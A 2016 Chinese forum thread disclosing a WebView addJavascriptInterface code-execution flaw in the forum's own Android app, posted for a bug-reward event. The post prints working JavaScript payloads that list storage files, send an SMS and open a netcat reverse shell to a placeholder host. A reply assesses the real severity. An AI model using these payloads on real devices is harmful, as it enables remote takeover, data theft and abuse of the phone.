wuyan 发表于 2016-3-23 21:36:05

中国红客联盟app高危漏洞分析

本帖最后由 wuyan 于 2016-3-23 21:49 编辑

===================================

          红客联盟&Milw0rm有奖活动

===================================

只针对安卓版的,为什么不测ios的,第一,我不会,第二,我用不起iphone。本次只对安卓组件进行了测试,发现了蛮多漏洞的,当然利用起来相当困难,本地当然比不上远程的。
论坛app功能很简单,就是浏览,发帖回复之类的。但是由于开发者没有安全意识,导致出现命令执行,程序本地ddos等漏洞。
1.命令执行漏洞
老生常谈的问题,webview出现的问题,由于activity组件暴露,导致可以传入任意数据,插入恶意链接挂马之类的。可以直接用apktool等反编译。得到相关目录,主要看配置文件AndroidManifest.xml。发现很多组件暴露,有一个名字引起了我的注意,没错就是箭头部分。

可以看到,是允许被第三方程序调用的,跟进,看看具体的代码是怎样写的。没有任何干扰,直接可以反编译得到java代码。

代码不多,大概解释下,其中函数 initDatas的作用是初始化一些参数的值。好,那么值从哪里来getIntent().getStringExtra(“webViewUrl”)等等,没错,intent传输过来的键值对,那么意味着我们可以控制,继续跟进发现。

WebViewFragment类,骚年,我不知道你看到了PLUGIN_STR没有,当然并不是我们的重点。反正最后一路跟踪到了webview,loadUrl里面传的参数就是我们前面通过intent.getStringExtra(“webViewUrl”)得过来的。


MCWebView类里面又调用addJavascriptInterface

那么一个完美的代码执行漏洞就产生了,当然这是谷歌的问题,在安卓低于4.2版本中webview调用addJavascriptInterface()接口会造成代码执行漏洞,具体的漏洞产生原因可以百度。
受影响的系统:
安卓版本4.2以下
漏洞利用:
写一段小代码来利用吧,我们尝试的利用这个漏洞读出内存卡里面的信息。
然后我们再接着写下安卓利用程序,很简单的一个demo。

下面提供几段代码

1.列出储存卡下的文件信息
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }

         var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>
2.用10086发送一条短信
<html>
   <body>
      <script>
         var objSmsManager =   injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
          objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
       </script>
   </body>
</html>
3.反弹shell
<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }
         execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
       </script>
   </body>
</html>
(ps:这段js代码的意思就是列出储存卡里面的文件)
首先将这写html代码保存上传到你的服务器,然后在

填入对应的链接就ok了。挂马啥的,挂网马啥的直接用msf测试吧。
总结:
安卓app漏洞(除网站接口暴露导致的web问题)利用起来本身就比较困难,还有其他几个漏洞危害也是微乎其微,就不写了。利用程序已打包,请自行下载。


解压后安装里面的apk

Antergone 发表于 2016-3-27 01:51:01

额,有些日子了,我本来以为懂事理的人一看就明白怎么回事了,但是事到如今我发现还是有很多盲目的人,并没有看到这个文章的精华,和问题的痛点。
这个漏洞确实存在,但Android 4.2之后修复了。但是我要解释一下这里面的一些技术和这个漏洞可能存在的威胁。
其实上面说的这个东西,叫做JsBridge,也就是webview中js和APP交互的东西,楼主也是利用了这个,所以执行了一些busybox命令。
那么什么时候会出现这个问题呢?
1.你的手机Android版本要符合这个漏洞 也就是分界点4.2.有兴趣的可以看一下Android SDK 的 JavascriptInterface注解 在android.webkit.JavascriptInterface;
2:你的上网环境不安全。如果你被DNS劫持了,那么你访问ihonker.org被转到别的地方去了,访问了有恶意JS的页面,那么会造成这些问题。如果是我都能搞定你的网络,那我为何不想办法劫包。
3:和第二点类似,就是我们的论坛真的出现了问题,被人插入了恶意JS并且能执行。我想到现在为止,还没看到,当然不排除可能会存在吧。这个确实是一个痛点,也希望真的有这种问题的时候大家及时发出来,论坛做到快速响应修复。
4:上文说到用户所有的东西都会被拿走。我先说一下,这个不太现实,Android权限管理还是相当严格的。比如我们的App并不需要访问你联系人的权限,也不需要你短信的权限。我想了半天可能需要的就是你手机设备信息、定位、相册。而且在没ROOT的手机下adb shell的权限非常低,对系统造不成威胁,当然这是正常情况,可能存在漏洞,或者外部下载东西 被root
5:如果你的手机ROOT了,我想了下,其实也还好。因为被root的时候都会提示你安装权限管理,在使用su切换adb用户的时候,权限管理明显会提示你,除非你没装这类软件。

所以我想了下,可能这个文章作为教程还是不错的,但是用来打90的脸,或者作为一个噱头说是“高危”还是有些不妥。说白了,并没有达到高危。

文章有很多精华,首先这个APK的缺陷 竟然没有混淆的代码,让楼主这么轻松就拿到了源码。这里使用的估计是apktool,
楼主在反编译的时候我看像是 dex2jar然后再用了 jd-gui。我也不太确定是不是,大半夜的就看了看图,也没找工具再详细比对。总是这些是可以做到的,楼主的分析也非常仔细,一步步的往下跟,但是这里还是要说一下,工欲善其事,必先利其器。推荐使用android studio做反编译jar分析。

好了,这里该说的也说完了。
感谢楼主的分析教程,也提醒盲目说什么打脸的,觉得非常惊悚的 朋友们 有一个清醒的头脑来分析流程。

No0d1es 发表于 2016-3-23 22:35:20

666a啊骚年

小圈圈 发表于 2016-3-23 22:43:17

666666不解释 打90脸啊!

wuyan 发表于 2016-3-23 22:47:45

小圈圈 发表于 2016-3-23 22:43
666666不解释 打90脸啊!

打的不够响啊

昊情· 发表于 2016-3-23 22:47:46

{:2_30:}不是有源码吗~非要反编译。。。。。

wuyan 发表于 2016-3-23 22:48:09

No0d1es 发表于 2016-3-23 22:35
666a啊骚年

说6又不给币

邪影复仇 发表于 2016-3-23 22:50:27

这个逼,我为你转身!

Te5tB99 发表于 2016-3-23 23:27:22

666,这个客户端还是挺可怕的http://www.ihonker.org//mobcent//app/data/phiz/default/21.png

XSS 发表于 2016-3-24 14:47:05

膜拜无言牛,写的真棒

clocks 发表于 2016-3-24 19:13:19

90的帅脸啊。哎哎呀呀!他会不会拉你去阴暗的地方找你聊聊呢
页: [1] 2 3
查看完整版本: 中国红客联盟app高危漏洞分析